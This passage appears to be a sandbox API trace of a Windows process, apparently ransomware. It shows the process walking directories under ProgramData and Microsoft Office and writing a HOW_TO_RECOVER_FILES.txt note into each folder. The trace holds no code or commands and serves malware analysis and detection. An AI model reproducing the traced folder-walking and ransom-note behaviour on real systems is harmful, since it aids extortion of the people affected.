FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.835] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0129.835] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.835] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0129.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0129.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0129.835] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x24 [0129.835] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.837] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.837] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0129.837] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0129.837] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0129.837] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0129.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0129.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0129.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x24 [0129.838] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0129.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0129.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.838] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0129.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0129.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0129.839] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x31 [0129.839] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0129.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0129.840] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0129.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0129.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0129.840] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x31 [0129.840] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0129.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.840] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0129.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0129.841] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0129.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0129.841] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.846] GetFileType (hFile=0x6e4) returned 0x1 [0129.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0129.846] GetFileType (hFile=0x6e4) returned 0x1 [0129.847] WriteFile (in: hFile=0x6e4, lpBuffer=0x358f730*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x358f730*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0129.847] CloseHandle (hObject=0x6e4) returned 1 [0129.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0129.848] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x29 [0129.848] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.852] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.852] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0129.852] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0129.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0129.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0129.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x29 [0129.852] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb99ea4ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb99ea4ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb99ea4ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0129.853] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0129.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0129.853] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0129.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0129.853] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.854] GetFileType (hFile=0x6e4) returned 0x1 [0129.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0129.854] GetFileType (hFile=0x6e4) returned 0x1 [0129.855] WriteFile (in: hFile=0x6e4, lpBuffer=0x35a4940*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x35a4940*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0129.856] CloseHandle (hObject=0x6e4) returned 1 [0129.856] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0129.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0129.856] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.856] GetFileType (hFile=0x6e4) returned 0x1 [0129.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0129.856] GetFileType (hFile=0x6e4) returned 0x1 [0129.857] WriteFile (in: hFile=0x6e4, lpBuffer=0x35a8188*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x35a8188*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0129.858] CloseHandle (hObject=0x6e4) returned 1 [0129.858] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0129.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0129.858] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\search\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.862] GetFileType (hFile=0x6e4) returned 0x1 [0129.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0129.862] GetFileType (hFile=0x6e4) returned 0x1 [0129.862] WriteFile (in: hFile=0x6e4, lpBuffer=0x35ab9c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x35ab9c0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0129.863] CloseHandle (hObject=0x6e4) returned 1 [0129.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0129.864] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher", lpFilePart=0x0) returned 0x38 [0129.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.864] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.864] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 